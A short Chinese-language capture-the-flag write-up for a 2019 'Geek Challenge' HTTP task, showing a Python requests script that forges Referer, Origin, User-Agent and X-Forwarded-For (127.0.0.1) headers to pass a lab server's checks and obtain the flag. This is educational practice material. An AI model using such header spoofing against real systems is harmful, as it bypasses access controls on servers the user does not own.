極客大挑戰2019-http題解


查看網頁源碼,發現一個文件secret.php。

secret.php的內容如下:

頁面要求必須從https://www.Sycsecret.com進入,使用python添加headers訪問即可。

import requests
url = 'http://861-fd096d07-6da8-4c2d-9959-15792888b57.enode3.buuoj.cn:25828/Secret.php'
headers={"Referer":"https://www.Sycsecret.com","Origin":"https://www.Sycsecret.com"}
r = requests.get(url,headers=headers)
print(r.text)

結果顯示Please use "Syclover" browser。

在headers里面繼續添加User-Agent

headers['User-Agent'] = "Syclover"

繼續訪問,得到No!!! you can only read this locally!!!

應該是要偽造IP,在headers里面添加X-Forwarded-For

headers['X-Forwarded-For'] = '127.0.0.1'

得到flag。

感覺,極客大挑戰的題對新手很友好,做極客大挑戰的題就好像回到了剛學CTF的時候。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM